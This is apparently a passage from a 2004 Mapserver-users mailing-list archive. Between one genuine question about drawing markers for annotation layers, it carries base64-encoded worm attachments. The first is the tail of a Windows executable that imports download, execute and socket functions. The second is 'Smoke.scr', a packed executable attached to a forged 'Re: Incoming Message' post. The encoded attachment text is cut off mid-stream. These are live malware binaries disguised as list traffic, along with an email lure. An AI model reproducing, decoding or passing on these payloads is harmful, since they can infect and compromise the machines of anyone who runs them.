8P90dInFAdt1B4seg+78EdsRyQHbdQeLHoPu/BHbEcl1IEEB23UHix6D7vwR2xHJAdtz73UJ ix6D7vwR23Pkg8ECgf0A8///g9EBjRQvg/38dg+KAkKIB0dJdffpY////5CLAoPCBIkHg8cE g+kEd/EBz+lM////Xon3uQcAAACKB0cs6DwBd/eAPwB18osHil8EZsHoCMHAEIbEKfiA6+gB 8IkHg8cFidji2Y2+AMAAAIsHCcB0PItfBI2EMKTjAAAB81CDxwj/loDkAACVigdHCMB03In5 V0jyrlX/loTkAAAJwHQHiQODwwTr4f+WiOQAAGHpBGz//wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAgADAAAAIAAAgA4AAABgAACAAAAAAAAAAAAAAAAAAAABAAEAAAA4AACAAAAAAAAA AAAAAAAAAAABAAAAAABQAAAApPAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAA eAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAAJDzAAAUAAAAAAAAAAAAAACgwAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA gACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3dwAAAAAAAAAAAAeIiIiIiIcAAAAAAAAA AAAHOIgzOIg3AAAAAAAAAAAAB7ODAAODhwAAAAAAAAAAAAf/MP+wOIcAAAAAAAAAAAAHuA+/ /wOHAAAAAAAAAAAAB4C//7/wNwAAAAAAAAAAAAcP/7//vwMAAAAAAAAAAAAH/7//v/+wAAAA AAAAAAAAB3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAP////////////////////////////////////////////////// /////////////////////////////////////////////4AB//+AAf//gAH//4AB//+AAf// gAH//4AB//+AAf//gAH//4AB//+AAf//////////////////iMMAAAAAAQABACAgEAABAAQA 6AIAAAEAAAAAAAAAAAAAAAAA2PQAAID0AAAAAAAAAAAAAAAAAADl9AAAkPQAAAAAAAAAAAAA AAAAAPL0AACY9AAAAAAAAAAAAAAAAAAA/PQAAKD0AAAAAAAAAAAAAAAAAAAG9QAAqPQAAAAA AAAAAAAAAAAAABL1AACw9AAAAAAAAAAAAAAAAAAAHvUAALj0AAAAAAAAAAAAAAAAAAAp9QAA wPQAAAAAAAAAAAAAAAAAADT1AADI9AAAAAAAAAAAAAAAAAAAQPUAAND0AAAAAAAAAAAAAAAA AAAAAAAAAAAAAEz1AABa9QAAavUAAAAAAAB49QAAAAAAAIb1AAAAAAAAkPUAAAAAAACe9QAA AAAAAK71AAAAAAAAuPUAAAAAAADM9QAAAAAAANj1AAAAAAAA6PUAAAAAAABLRVJORUwzMi5E TEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwAU0hFTEwzMi5kbGwAc2hsd2Fw aS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQuZGxsAHdzb2NrMzIuZGxsAAAA TG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtl eQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhlY3V0ZUEAAABTdHJEdXBBAAAA VVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRlcm5ldE9wZW5BAAAAYmluZAAA AAAAAAAAAAAAAAAAAAAAAH2MUCrCPVA9ZV1RdEWvryZlE3ywP1SIeUlJEXIlbr6pjT6VxCQc oHGNM1AtQERFV5W9eAeYRjGIF68TpWpMERaLXsGnBo2lbkiQrDmbNIdBd5dhRGanBjCRlZ4q lXeyD4V9N61TQGcKSD8UQkCOmbALlsJfpFdGwkhNgRFpNmxNslauBkA8S0ZDq6jBamkarWKQ mVqpP5hBvSAjgnwdZXqZjcOqLyO0c6CBByhEMSONTwCIpkmLnYWntTUpgjIdlghcpbZUKVUg u05xP0BMUBaKdWdKWFSqxJmSvzGCfQ== ----------vxilxfkgdlskmcgmntxw-- From janeks.kamerovskis at silva.lv Fri May 21 04:26:41 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Fri, 21 May 2004 14:26:41 +0300 Subject: [Mapserver-users] Q: markers for Layer type = annotation Message-ID: In the documentation about layer types is written, that: Annotation means that a label point will be calculated for the features, but the feature itself will not be drawn although a marker symbol can be optionally drawn. But I could not yet find how to do that. Could somebody drop some info about it. brgds Janeks From steve.lime at dnr.state.mn.us Fri May 21 05:34:17 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Fri, 21 May 2004 12:34:17 +0000 Subject: [Mapserver-users] Re: Incoming Message Message-ID: ----------briymaxqtqjskeanqokf Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------briymaxqtqjskeanqokf Content-Type: application/octet-stream; name="Smoke.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Smoke.scr" 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 